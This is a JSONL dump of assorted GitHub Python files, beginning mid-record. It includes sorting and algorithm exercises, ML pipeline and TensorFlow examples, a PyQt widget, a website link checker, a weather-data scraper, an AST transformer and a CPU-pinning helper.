cells)`.\n    \"\"\"\n\n    fmt    = config[\"GENERAL\"][\"output_format\"]\n    prefix = config[\"GENERAL\"][\"output_prefix\"]\n\n    if fmt == \"xyz\":\n        return XyzWriter(prefix)\n    elif fmt == \"xdmf\":\n        return XdmfWriter(prefix)\n    elif fmt == \"vtu\":\n        return VtuWriter(prefix)\n    else:\n        raise ValueError(\"Invalid output format: {}\".format(fmt))\n","repo_name":"bio-phys/trimem","sub_path":"src/trimem/mc/output/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"71138392512","text":"from os import listdir\nfrom os.path import isfile, join\nfrom scipy.io import arff as arff_io\nfrom sklearn import preprocessing\nfrom paje.storage.db_models.Dataset import Dataset\nfrom paje.storage.db_models.ClfEval import ClfEval\nfrom paje.base.data import Data\nfrom paje.ml.element.modelling.supervised.classifier.dt import DT\nfrom paje.ml.element.modelling.supervised.classifier.nb import NB\nfrom paje.ml.element.preprocessing.supervised.instance.imbalance.smote import Smote\nfrom paje.automl.composer.iterator import Iterator\nfrom paje.automl.composer.seq import Seq\nfrom paje.base.cache import Cache\nfrom paje.ml.element.posprocessing.metric import Metric\nfrom paje.ml.element.posprocessing.summ import Summ\nfrom paje.ml.element.preprocessing.supervised.instance.sampler.cv import CV\n\nclass ClassifiersEval:\n    def __init__(self, preprocessors = [Smote.default()],\n                       classifiers = [DT.default()],\n                       metric = Metric.cfg(function='accuracy')):\n        self.le = preprocessing.LabelEncoder()\n        self.random_state = 123\n        self.preprocessors = preprocessors\n        self.classifiers = classifiers\n        self.metric = metric\n\n    # Calculates a metric for each dataset\n    def calculate(self, dataset_filename):\n        # Reading dataset\n        data = Data.read_arff(self.datasets_dir + dataset_filename, \"class\")\n        # The pipeline is created (creates all the possible combinations of\n        # preprocessors and modellers indicated)\n        preprocesses = [None] + self.preprocessors\n        for preproc in preprocesses:\n            for classifier in self.classifiers:\n                pipeline = [preproc, classifier] if preproc else [classifier]\n                pipe = self.pipeline_evaluator(\n                    Seq.cfg(\n                            configs = pipeline,\n                            random_state = self.random_state\n                    )\n                )\n                # Apply and use the defined pipeline on the data\n                datapp = pipe.apply(data)\n                datause = pipe.use(data)\n                # The value is stored into data as assigned in the field parameter inside\n                # the configuration of the reducer (Summ = np.mean)\n                preproc_name = preproc['class'] if preproc else 'None'\n                eval = ClfEval(\n                    classifier = classifier['class'],\n                    dataset = dataset_filename,\n                    score = self.metric['function'],\n                    preprocess = preproc_name,\n                    value = datause.s\n                ).save()\n                print(pipe, datapp.s, datause.s)\n\n    # Define basis pipeline -> execute CV, the\n    def pipeline_evaluator(self, pipeline):\n        # Pipeline should be a configuration of preprocessors + modellers\n        # For each CV slice executes the pipeline (preprocess + modeller) then\n        # calculates a Metric\n        internal_pipe = Seq.cfg(\n            configs=[\n                pipeline,\n                self.metric  # from Y to r\n            ],\n            random_state = self.random_state\n        )\n\n        # Defines the CV to be applied in the dataset and the function to reduce\n        # the metric calc\n        iterator_pipe = Seq.cfg(\n            configs=[\n                Iterator.cfg(\n                    iterable=CV.cfg(split='cv', steps=10, fields=['X', 'Y']),\n                    configs=[internal_pipe],\n                    field='r'\n                ),\n                Summ.cfg(field='s', function='mean')\n            ]\n        )\n        # Wrapper? Note that it does not call the cfg, but is an instance of the class\n        pipe = Seq(\n            config={\n                'configs': [iterator_pipe],\n                'random_state': self.random_state\n            }\n        )\n        return pipe\n\n    def apply(self, datasets_fd = \"mock_datasets/\"):\n        # Calculates metafeatures for every datasets in the datasets directory\n        self.datasets_dir = datasets_fd\n        # Getting list of datasets inside directory\n        self.datasets = [f for f in listdir(self.datasets_dir)\n            if ( isfile(join(self.datasets_dir, f)) and\n               ( f.endswith(\"json\") or f.endswith(\"arff\") ) )]\n        for dataset in self.datasets:\n            self.calculate(dataset)\n","repo_name":"jhosoume/curumin_mtl","sub_path":"paje/automl/meta/classifiers_eval.py","file_name":"classifiers_eval.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"2525755527","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nclass Solution:\n    def mergesort(self, seq):\n        \"\"\"\n        :type seq: List[int]\n        \"\"\"\n        if len(seq) <= 1:\n            return seq\n        mid = len(seq) // 2\n        left = self.mergesort(seq[:mid])\n        right = self.mergesort(seq[mid:])\n        return self.merge(left, right)\n\n    def merge(self, left, right):\n        \"\"\"\n        :type left: List[int]\n        :type right: List[int]\n        \"\"\"\n        i, j = 0, 0\n        res = []\n        while i < len(left) and j < len(right):\n            if left[i] < right[j]:\n                res.append(left[i])\n                i += 1\n            else:\n                res.append(right[j])\n                j += 1\n\n        res += left[i:] or right[j:]\n        return res\n\n\nseq = [5, 3, 0, 6, 1, 4]\nmoe = Solution()\nresult = moe.mergesort(seq)\nprint(result, ...)\n","repo_name":"pittcat/Algorithm_Practice","sub_path":"common_sort/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42903909155","text":"import sys\n\nN = int(sys.stdin.readline())\ngraph = list(map(int, sys.stdin.readline().split()))\nmem = [0]*100001\nmem[0] = graph[0]\nsum = 0\nflag = False\n\nif N >1:\n    for idx in range(1, N):\n        if mem[0] <0 and graph[idx]<0 and flag == False:\n            mem[idx] = graph[idx]\n            continue\n        elif mem[idx-1]<0 and graph[idx]>0:\n            mem[idx] = graph[idx]\n            flag = True\n            continue\n        \n        sum = mem[idx-1] + graph[idx]\n        if sum >= 0 or (sum<0 and graph[idx]<0):\n            mem[idx] = mem[idx-1] + graph[idx]\n        else:\n            mem[idx] = graph[idx]\n    print(mem[:N])\n    print(max(mem[:N]))\nelse:\n    print(mem[0])\n\n    ","repo_name":"OYJ-hansung/Algorithm-Studies","sub_path":"1912연속합.py","file_name":"1912연속합.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44299177029","text":"while True:\n    items = ['apple','bannana','chicken','dinner']\n    x = input(\"do you want to continue? Input \\'1\\' to continue: \")\n    if x == \"1\" :\n        print(items)\n        print(\"choose one of these option: C, R, U or D\")\n        y = input(\"input here: \")\n        if y == \"C\" :\n            x1 = input(\"input what u like to create: \")\n            items.append(x1)\n        elif y == \"R\":\n            for e in range(len(items)):\n                print(items[e])\n        elif y == \"U\":\n            i2 = int(input(\"where do u want to create? (input 1 or 2 ,..)\"))\n            x2 = input(\"input what u like to create: \")\n            items[i2-1] = x2\n        elif y == \"D\":\n            i3 = int(input(\"Where do u want to delete: \"))\n            items.remove(i3)\n        else:\n            break\n\n    else: \n        break\n\n","repo_name":"minhnguyen2610/C4T-BO4","sub_path":"Session8/CRUD.py","file_name":"CRUD.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39454793752","text":"import tensorflow as tf\nimport numpy as np\n\nx_data = [[1, 2, 1, 1], [2, 1, 3, 2], [3, 1, 3, 4], [4, 1, 5, 5],\n          [1, 7, 5, 5], [1, 2, 5, 6], [1, 6, 6, 6], [1, 7, 6, 7]]\ny_data = [[0, 0, 1], [0, 0, 1], [0, 0, 1], [0, 1, 0],\n          [0, 1, 0], [0, 1, 0], [1, 0, 0], [1, 0, 0]]\n\nx = tf.placeholder(dtype=tf.float32, shape=[None, 4])\ny = tf.placeholder(tf.float32, shape=[None, 3])\n\nW = tf.Variable(tf.zeros([4, 3]))\nb = tf.Variable(tf.zeros([3]))\n\nhypo = tf.nn.softmax(tf.matmul(x, W)+b)\nloss = tf.reduce_mean(-tf.reduce_sum(y*tf.log(hypo), axis=1))\noptimizer = tf.train.AdamOptimizer(\n    learning_rate=0.01).minimize(loss)\n\n\nwith tf.Session() as sess:\n    sess.run(tf.global_variables_initializer())\n    for i in range(2001):\n        _, cost_val = sess.run([optimizer, loss], feed_dict={\n                               x: x_data, y: y_data})\n        if i%200 == 0:\n            print(i,cost_val)\n    a = sess.run(hypo , feed_dict={x:[[1,11,7,9]]})\n    print(sess.run(tf.arg_max(a,1)))\n    b = sess.run(hypo, feed_dict={x: [[1,3,4,3]]})\n    print(sess.run(tf.arg_max(b, 1)))\n    c = sess.run(hypo, feed_dict={x: [[11,33,4,13]]})\n    print(sess.run(tf.arg_max(c, 1)))\n    print(type(c))\n    alll = sess.run(hypo, feed_dict={\n                    x: [np.append(a, 0), np.append(b, 0), np.append(c, 0)]})\n    print(sess.run(tf.arg_max(alll, 1)))\n","repo_name":"raccoon2389/AI_prac","sub_path":"tf/tf11_softmax.py","file_name":"tf11_softmax.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"74336208832","text":"import turtle\n\ny = 200\n\nfor i in range(1, 5):\n    name = \"turtle - \" + str(i)\n    name = turtle.Turtle()\n    name.up()\n    name.sety(y)\n    name.down()\n    name.circle(10)\n    name.hideturtle()\n    y -= 50\n    \n","repo_name":"nziegler87/FoundationsOfCompSci","sub_path":"Project/Fiddle Files/arrow placement.py","file_name":"arrow placement.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8593098948","text":"#encoding:shift-jis\nfrom __future__ import division, print_function\n__metaclass__ = type\nfrom sffairmaker.qutil import *\n\nclass SliderPositionWidget(QLabel):\n    def __init__(self, parent=None):\n        QLabel.__init__(self, parent)\n        \n        self._slider = None\n        self._value = 0\n        self._range = (0, 0)\n    \n    def _setRange(self, minimum, maximum):\n        v = (minimum, maximum)\n        if self._range == v:return\n        self._range = v\n        self._updateText()\n    \n    def _setValue(self, v):\n        if self._value == v:return\n        self._value = v\n        self._updateText()\n    \n    def setSlider(self, v):\n        if self._slider is not None:\n            self._slider.rangeChanged.disconnect(self._setRange)\n            self._slider.valueChanged.disconnect(self._setValue)\n        self._slider = v\n        self._slider.rangeChanged.connect(self._setRange)\n        self._slider.valueChanged.connect(self._setValue)\n        \n        self._setValue(v.value())\n        self._setRange(v.minimum(), v.maximum())\n        self._updateText()\n    \n    def _updateText(self):\n        mini, maxi = self._range\n        length = maxi - mini + 1\n        pos = self._value - mini + 1\n        self.setText(\"{0:0{2}}/{1}\".format(pos, length, len(str(length))))\n        \ndef main():\n    app = QApplication([])\n    \n    scr = QScrollBar(Qt.Horizontal)\n    scr.setMinimum(-5)\n    scr.setMaximum(5)\n    \n    p = SliderPositionWidget()\n    p.setSlider(scr)\n    \n    mini = QSpinBox()\n    mini.setRange(-10, 0)\n    mini.setValue(scr.minimum())\n    mini.valueChanged.connect(scr.setMinimum)\n    \n    maxi = QSpinBox()\n    maxi.setRange(0, 10)\n    maxi.setValue(scr.maximum())\n    maxi.valueChanged.connect(scr.setMaximum)\n\n    \n    w = QWidget()\n    L = QGridLayout()\n    \n    L.addWidget(scr, 0, 0)\n    L.addWidget(p, 0, 1)\n    L.addWidget(mini, 1, 0)\n    L.addWidget(maxi, 1, 1)\n    \n    w.setLayout(L)\n    w.show()\n    \n    app.exec_()\n    \n    \nif \"__main__\" == __name__:\n    main()","repo_name":"doloopwhile/sffairmaker2","sub_path":"sffairmaker/slider_position_widget.py","file_name":"slider_position_widget.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31883436296","text":"from prettytable import PrettyTable\n\n\ndef pretty_output(columns):\n    def decorator(func):\n        def wrapper(*args, **kwargs):\n            try:\n                result = func(*args, **kwargs)\n                entity_name = func.__name__.split(\"_\")[1].capitalize()\n                table = PrettyTable(columns)\n\n                if \"list\" in func.__name__:\n                    if not result:\n                        print(f\"{entity_name} table is empty\")\n                    else:\n                        for item in result:\n                            table.add_row(item)\n                        print(table)\n                elif \"create\" in func.__name__:\n                    if result:\n                        print(f\"{entity_name} created successfully\")\n                        table.add_row(result)\n                        print(table)\n                    else:\n                        print(f\"No {entity_name} created\")\n                elif \"update\" in func.__name__:\n                    if result:\n                        print(f\"{entity_name} update successfully.\")\n                        table.add_row(result)\n                        print(table)\n                    else:\n                        print(f\"No {entity_name} updated\")\n                elif \"delete\" in func.__name__:\n                    if result:\n                        print(f\"{entity_name} was deleted successfully.\")\n                        table.add_row(result)\n                        print(table)\n                    else:\n                        print(\"Error occurred.\")\n                else:\n                    print(f\"Invalid function: {func.__name__}\")\n            except AttributeError as e:\n                print(f\"Error: {e}\")\n\n        return wrapper\n\n    return decorator\n","repo_name":"rattlingmars8/WEB_HW_7","sub_path":"pt_2src/pretty_output.py","file_name":"pretty_output.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29249990924","text":"import requests, os, re\nfrom bs4 import BeautifulSoup\nfrom nltk.tokenize import sent_tokenize\nfrom tqdm import tqdm\n\nDOMAIN = \"https://financialaid.arizona.edu\"\nCHECKED = []\nSTACK = []\nBAD_URLS = {}\nHEADER = {\"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\"}\nATTRIBUTES = [\".pdf\", \".xlsx\", \".png\", \".ppt\", \".xls\", \".doc\", \"@\", \"bit.ly\", \"tel:\", \".aspx\"]\n\n#==============================================================================\n\ndef start_url_check():\n\t\"\"\"\n\tPurpose:\n\t\tThis function checks that the submitted url is valid and, if so, starts checking its links\n\tDependencies:\n\t\trequests\n\tArguements:\n\t\tNone\n\tReturns:\n\t\tNone\n\t\"\"\"\n\t# remove text file from previous session\n\tremove_old_files()\n\n\t# get url to check\n\turl = \"https://financialaid.arizona.edu\"\n\n\tresponse = requests.get(url, headers=HEADER)\n\n\t# if the site has not been updated since it was last visited it will sometimes return a 304 response code. We dont want to mistake these for a redirect\n\tif response.history:\n\t\tnot_modified = \"<Response [304]>\" == str(response.history[0])\n\t\n\t# make sure the entered url is valid \n\tif response.history and not not_modified:\n\t\tprint(\"Bad URL\")\n\telse:\n\t\tcheck(url, \"header_site\")\n\t\tcheck(url)\n\t\tcheck(url, \"footer_site\")\n\t\t\n\t\twhile STACK:\n\t\t\turl = STACK.pop()\n\t\t\tif url not in CHECKED:\n\t\t\t\tcheck(url)\n\n\treturn None\n\n#==============================================================================\n\ndef remove_old_files():\n\ttry:\n\t\tos.remove(\"url_response.txt\")\n\texcept:\n\t\tpass\n\ttry:\n\t\tos.remove(\"found_words.txt\")\n\texcept:\n\t\tpass\n\n\treturn None\n\n#==============================================================================\n\ndef check(url, section=\"main\"):\n\t\"\"\"\n\tPurpose:\n\t\tThis function begins the process of checking a URL. It gets all the hrefs from a parent page and keeps track of which ones do not return a 200 http response code so they can be appended to a text file. \n\tDependencies:\n\t\tBeautifulSoup\n\tArguements:\n\t\turl - a URL submitted by the user\n\t\tsection - an id attribute that specifies a section of the page. main in unique to each page, header and foot are on each page. Prevents program from scraping the header and footer of every page. \n\tReturns:\n\t\tNone\n\t\"\"\"\n\tlinks = []\n\t\n\tsoup = BeautifulSoup(requests.get(url, headers=HEADER).content, \"html.parser\").find(id=section)\n\n\tif soup:\n\t\tfor a in tqdm(soup.findAll('a'),desc=url):\n\t\t\tlink = a.get('href')\n\t\t\tif link:\n\t\t\t\tlinks += validate_link(link, url)\n\n\tif len(links) > 0:\n\t\twrite_output(links, url)\n\n\t# TODO: insert a string inot a regex statement\n\tword = \"UA\"\n\n\tif word and soup:\n\t\tfind_word(url, soup, word)\n\n\tCHECKED.append(url)\n\t\n\treturn None\n\n#==============================================================================\n\ndef validate_link(link, url):\n\tclean_link = get_clean_link(link, url)\n\tresponse = None\n\tlinks = []\n\t\n\tif clean_link in BAD_URLS:\n\t\tlinks.append((clean_link, BAD_URLS[clean_link]))\n\t\n\telse:\n\t\tattribute = bool([True for e in ATTRIBUTES if e in clean_link])\n\t\tanchor = '#' in clean_link and url in clean_link\n\t\tif not attribute and not anchor and clean_link not in CHECKED:\n\t\t\tresponse = get_response(clean_link)\n\t\n\tif response:\n\t\tlinks.append(response)\n\t\tBAD_URLS[response[0]] = str(response[1])\n\n\treturn links\n\n#==============================================================================\n\ndef get_clean_link(link, url):\n\t\"\"\"\n\tPurpose:\n\t\tSometimes href atrributes dont have a simple url in them. Then can have references and anchors which are not full urls and will not generate an accruate http response. This function will turn the href into a url that can be used to get an accurate response code.\n\tDependencies:\n\t\tNone\n\tArguements:\n\t\tlink - the href pulled from an a tag that may need to be modified so an http response can be generated\n\t\turl - the parent page that the link was found on\n\tReturns:\n\t\tA link that is capable of generating a http response code\t\t\n\t\"\"\"\n\tclean_link = link\n\n\t# relative path (/page_name/page_name2) \n\tif link[0] == '/': \n\t\tif DOMAIN[-1] == '/':\n\t\t\tclean_link = DOMAIN[:-1] + link\n\t\telse:\n\t\t\tclean_link = DOMAIN + link\n\n\t# anchor (#go_here)\n\tif link[0] == '#':\n\t\tif url[-1] == '/':\n\t\t\tclean_link = url[:-1] + link\n\t\telse:\n\t\t\tclean_link = url + link\n\t\n\t# relative path (page_name/page_name2)\n\tif '.' not in clean_link:\n\t\tif DOMAIN[-1] == '/':\n\t\t\tclean_link = DOMAIN + link\n\t\telse:\n\t\t\tclean_link = DOMAIN + '/' + link\n\n\treturn clean_link\n\n#==============================================================================\n\ndef get_response(clean_link):\n\t\"\"\"\n\tPurpose:\n\t\tThis function gets an http response from a cleaned link. \n\tDependencies:\n\t\trequests\n\tArguements:\n\t\tclean_link - a url that has been processed by clean_link\n\tReturns:\n\t\tif a response code is generated, the link and its reponse code\n\t\tif no response code is generated, the link and \"No Response\"\n\t\tif a 200 response code is generated, None\n\t\"\"\"\n\ttry:\n\t\tresponse = requests.get(clean_link, headers=HEADER)\n\n\t\t# if the site has not been updated since it was last visited it will sometimes return a 304 response code. We dont want to mistake these for a redirect\n\t\tif response.history:\n\t\t\tnot_modified = \"<Response [304]>\" == str(response.history[0])\n\t\telse: # there is a reponse history but the code is not 304\n\t\t\tnot_modified = False\n\t\t\t\n\t\t# the link did not return a 200 response code\n\t\tif response.history and not not_modified:\n\t\t\tBAD_URLS[clean_link] = str(response.history[0])\n\t\t\treturn clean_link, str(response.history[0])\n\n\texcept:\n\t\t# not sure what happened, consider the link bad\n\t\tBAD_URLS[clean_link] = \"No Response\"\n\t\treturn clean_link, \"No Response\"\n\n\tif DOMAIN in clean_link and clean_link not in CHECKED:\n\t\tSTACK.append(clean_link)\n\t\t\n\t\t# output = open(\"fa urls.txt\",'a')\n\t\t# output.write(clean_link + \"\\n\")\n\t\t# output.close()\n\t\n\t# the link returned a 200 response code\n\treturn None\n\n#==============================================================================\n\ndef write_output(links, url):\n\t\"\"\"\n\tPurpose:\n\t\tCreates a text file of urls that did not return a 200 response code\n\tDependencies:\n\t\tNone\n\tArguements:\n\t\tlinks - a list of tuples consisting of the url and http response code\n\t\turl - the parent page that the links were found on\n\tReturns:\n\t\tNone\t\n\t\"\"\"\n\n\toutput = open(\"url_response.txt\", 'a', encoding=\"utf-8\")\n\toutput.write(url + \"\\n\")\n\tfor e in links:\n\t\tif e[0]:\n\t\t\toutput.write(\"\\t\" + e[0] + \": \" + e[1] + \"\\n\")\n\toutput.write(\"\\n\")\n\toutput.close()\t\n\n\treturn None\n\n#==============================================================================\n\ndef find_word(url, soup, word):\n\tcount = 0\n\ttext = sent_tokenize(soup.get_text())\n\t\n\tfor sentence in text:\n\t\tif re.search(r'\\bUA\\b', sentence):\n\t\t\tcount += 1\n\n\tif count:\n\t\toutput = open(\"found_words.txt\", 'a', encoding=\"utf-8\")\n\t\toutput.write(url + \"\\n\")\n\t\tif count > 1:\n\t\t\toutput.write(\"\\t\" + str(count) + \" sentences with \" + word + \"\\n\")\n\t\telse:\n\t\t\toutput.write(\"\\t\" + str(count) + \" sentence with \" + word + \"\\n\")\n\t\t\toutput.write(\"\\n\")\n\t\t\toutput.close()\n\n\treturn None\n\n#==============================================================================\n\ndef main():\n\n\tstart_url_check()\n\tprint(\"Finished\")\n\n#==============================================================================\n\nif __name__ == '__main__':\n\tmain()","repo_name":"mcheffer/osfa_web_tool","sub_path":"osfa_web_tool.py","file_name":"osfa_web_tool.py","file_ext":"py","file_size_in_byte":7269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28068787809","text":"# Definir variables para las edades y promedios de cada turno\r\nedades_manana = []\r\nedades_tarde = []\r\nedades_noche = []\r\n\r\npromedio_manana = 0\r\npromedio_tarde = 0\r\npromedio_noche = 0\r\n\r\n# Pedir al usuario que ingrese las edades de los alumnos de cada turno\r\nfor i in range(5):\r\n    edad_manana = int(input(\"Ingrese la edad de un alumno del turno mañana: \"))\r\n    edades_manana.append(edad_manana)\r\n    \r\n    edad_tarde = int(input(\"Ingrese la edad de un alumno del turno tarde: \"))\r\n    edades_tarde.append(edad_tarde)\r\n    \r\n    edad_noche = int(input(\"Ingrese la edad de un alumno del turno noche: \"))\r\n    edades_noche.append(edad_noche)\r\n\r\n# Calcular los promedios de cada turno\r\npromedio_manana = sum(edades_manana) / len(edades_manana)\r\npromedio_tarde = sum(edades_tarde) / len(edades_tarde)\r\npromedio_noche = sum(edades_noche) / len(edades_noche)\r\n\r\n# Mostrar los promedios de cada turno\r\nprint(\"El promedio de edades del turno mañana es:\", promedio_manana)\r\nprint(\"El promedio de edades del turno tarde es:\", promedio_tarde)\r\nprint(\"El promedio de edades del turno noche es:\", promedio_noche)\r\n\r\n# Determinar el turno con el mayor promedio de edades\r\nmayor_promedio = max(promedio_manana, promedio_tarde, promedio_noche)\r\n\r\nif mayor_promedio == promedio_manana:\r\n    print(\"El turno con mayor promedio de edades es: mañana\")\r\nelif mayor_promedio == promedio_tarde:\r\n    print(\"El turno con mayor promedio de edades es: tarde\")\r\nelse:\r\n    print(\"El turno con mayor promedio de edades es: noche\")\r\n","repo_name":"THEBOSSES7000/TLP2023","sub_path":"JoaYFran41.py","file_name":"JoaYFran41.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74795857790","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport gast\nfrom pyctr.core import ast_util\nfrom pyctr.sct import templates\nfrom pyctr.sct import transformer\n\n\nclass FunctionCallTransformer(transformer.Base):\n  \"\"\"Virtualizes function calls.\n\n  Attributes:\n    ctx: transformer.EntityContext, see transformer.Base\n    overload: overloads.Overload, the overload module\n  \"\"\"\n\n  def __init__(self, ctx, overload):\n    super(FunctionCallTransformer, self).__init__(ctx.info)\n    self.overload = overload\n\n  def is_overload_call(self, node):\n    \"\"\"True if the node is a call to a function on the overload module.\"\"\"\n    if isinstance(node.func, gast.Attribute):\n      if isinstance(node.func.value, gast.Name):\n        if node.func.value.id == self.overload.symbol_name:\n          return True\n    return False\n\n  def visit_Call(self, node):\n    node = self.generic_visit(node)\n\n    if not hasattr(self.overload.module, 'call'):\n      return node\n\n    if self.is_overload_call(node):\n      return node\n\n    starred_arg = None\n    normal_args = []\n    for a in node.args:\n      if isinstance(a, gast.Starred):\n        assert starred_arg is None, 'Multiple *args should be impossible.'\n        starred_arg = a\n      else:\n        normal_args.append(a)\n    if starred_arg is None:\n      args = templates.replace_as_expression('(args,)', args=normal_args)\n    else:\n      args = templates.replace_as_expression(\n          '(args,) + tuple(stararg)',\n          stararg=starred_arg.value,\n          args=normal_args)\n\n    kwargs_arg = None\n    normal_keywords = []\n    for k in node.keywords:\n      if k.arg is None:\n        assert kwargs_arg is None, 'Multiple **kwargs should be impossible.'\n        kwargs_arg = k\n      else:\n        normal_keywords.append(k)\n    if kwargs_arg is None:\n      kwargs = ast_util.keywords_to_dict(normal_keywords)\n    else:\n      kwargs = templates.replace_as_expression(\n          'dict(kwargs, **keywords)',\n          kwargs=kwargs_arg.value,\n          keywords=ast_util.keywords_to_dict(normal_keywords))\n\n    template = \"\"\"\n      overload.call(func, args, kwargs)\n    \"\"\"\n    node = templates.replace_as_expression(\n        template,\n        overload=self.overload.symbol_name,\n        func=node.func,\n        args=args,\n        kwargs=kwargs)\n\n    return node\n\n\ndef transform(node, ctx, overload):\n  return FunctionCallTransformer(ctx, overload).visit(node)\n","repo_name":"google/pyctr","sub_path":"transformers/virtualization/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"60"}
+{"seq_id":"36907670505","text":"lines = [[l.split(' ')[0], l.split(' ')[1][0], l.split(' ')[1][1:]] for l in open('8.txt', 'r').readlines()]\n\ndef run(game_lines, accumulator = 0, index = 0):\n    visited = {x: False for x in range(len(game_lines))}\n    while index < len(game_lines) and not visited[index]:\n        instruction, direction, amount = game_lines[index]\n        visited[index] = True\n        index += 1\n        if instruction == \"acc\":\n            accumulator += int(amount) if direction == \"+\" else int(amount) * -1\n        if instruction == \"jmp\":\n            index += -1 + (int(amount) if direction == \"+\" else int(amount) * -1)\n    return index == len(game_lines), accumulator\n\n\nprint(f\"part 1: {run(lines)[1]}\")\n\nfor index in range(len(lines)):\n    if lines[index][0] == 'nop':\n        new_lines = [[x[0], x[1], x[2]] for x in lines]\n        new_lines[index][0] = 'jmp'\n    elif lines[index][0] == 'jmp':\n        new_lines = [[x[0], x[1], x[2]] for x in lines]\n        new_lines[index][0] = 'nop'\n    else:\n        continue\n    if run(new_lines)[0]:\n        print(f\"part 2: {run(new_lines)[1]}\")\n\n\n","repo_name":"zmunro/advent_of_code_2020","sub_path":"advent8.py","file_name":"advent8.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6648567890","text":"from lxml.html import parse\nfrom urllib.request import urlopen\nimport pandas as pd\n\n\ndef GetNextDateString(date):\n    date = list(map(int, date.split('-')))\n    import datetime\n\n    timer = datetime.date(date[0], date[1], date[2])\n    nextday = timer + datetime.timedelta(days=1)\n\n    return str(nextday.year) + \"-\" + str(nextday.month) + \"-\" + str(nextday.day)\n\n\n# 请输入日期 (年-月-日):\ndate_start = \"2021-11-15\"\nnext_date = date_start\ndate_end = \"2021-11-18\"  # 请注意，最后一天不被包含  3月不要写03同理3日\n\ndate_list = []\n\nwhile GetNextDateString(next_date) != date_end:\n    date_list.append(next_date)\n    next_date = GetNextDateString(next_date)\n\n# Step 1: init dataframe\ndataFrame = pd.DataFrame(\n    columns={\"时次\", \"瞬时温度\", \"地面气压\", \"相对湿度\", \"瞬时风向\", \"瞬时风速\", \"1小时极大风速\", \"1小时降水\", \"10分钟平均能见度\", \"积雪深度\"})\n\nall_table_text_content_list = []\n\n# Step 2: get heml tb\ndate_string = ''\nfor date_string in date_list:\n    print(\"***开始爬取日期\" + date_string)\n    parsed = parse(urlopen('https://q-weather.info/weather/54511/history/?date=' + date_string))\n    print(\"***开解析日期\" + date_string)\n    doc = parsed.getroot()\n    tables = doc.findall('.//table')\n\n    # thead 处理\n    theads = tables[0].findall('.//thead')[0].findall('.//th')\n    thead_columns_name = []\n    for th in theads:\n        thead_columns_name.append(th.text_content())\n    # tbody 处理\n    tbody = tables[0].findall('.//tbody')[0]\n    trs = tbody.findall('.//tr')\n    # 计算有多少行数据（不包括首行）\n    num_row = len(trs)\n    print(\"***日期\" + date_string + \"爬取完毕，总共\" + str(num_row) + \"行数据\")\n    # 然后一行行的向dataframe里面添加\n    for i in range(num_row):\n        new_row_dict = {}\n        tds=trs[i].findall('.//td')\n        for idx, td in enumerate(tds):\n            new_row_dict[thead_columns_name[idx]] = td.text_content();\n        new_row = pd.DataFrame(new_row_dict, index=[0])\n        dataFrame = pd.concat([dataFrame, new_row], axis=0, join='outer')\nprint(\"***写入dataFrame完毕\")\norder = [\"时次\", \"瞬时温度\",\"相对湿度\",\"瞬时风速\",\"1小时降水\"]\ndataFrame = dataFrame[order]\ndataFrame['时次'].apply(lambda x:x[:16])\ndataFrame.to_excel('./data/wether_start_' + date_start + '_end_' + date_end + '.xlsx', index=False)\n\nprint(\"***写入文件完毕\")\n","repo_name":"YJThhh/python-matlab-demo","sub_path":"get_weather_data.py","file_name":"get_weather_data.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"25478933814","text":"import socket\nimport os\n\n\ndef pin_workers_iterator(the_iterator, args):\n    if 'karolina' in socket.gethostname() or 'ristoteles' in socket.gethostname() or os.path.exists(\"/project/project_465000165\"):\n        return\n    try:\n        print(args.cpus)\n    except AttributeError:\n        args.cpus = list(sorted(os.sched_getaffinity(0)))\n\n    if args.num_workers > 0:\n        for index, w in enumerate(the_iterator._workers):\n            os.system(\"taskset -p -c %d %d\" % ((args.cpus[(index + 1) % len(args.cpus)]), w.pid))\n","repo_name":"tileb1/global-local-self-distillation","sub_path":"my_utils/hpc.py","file_name":"hpc.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
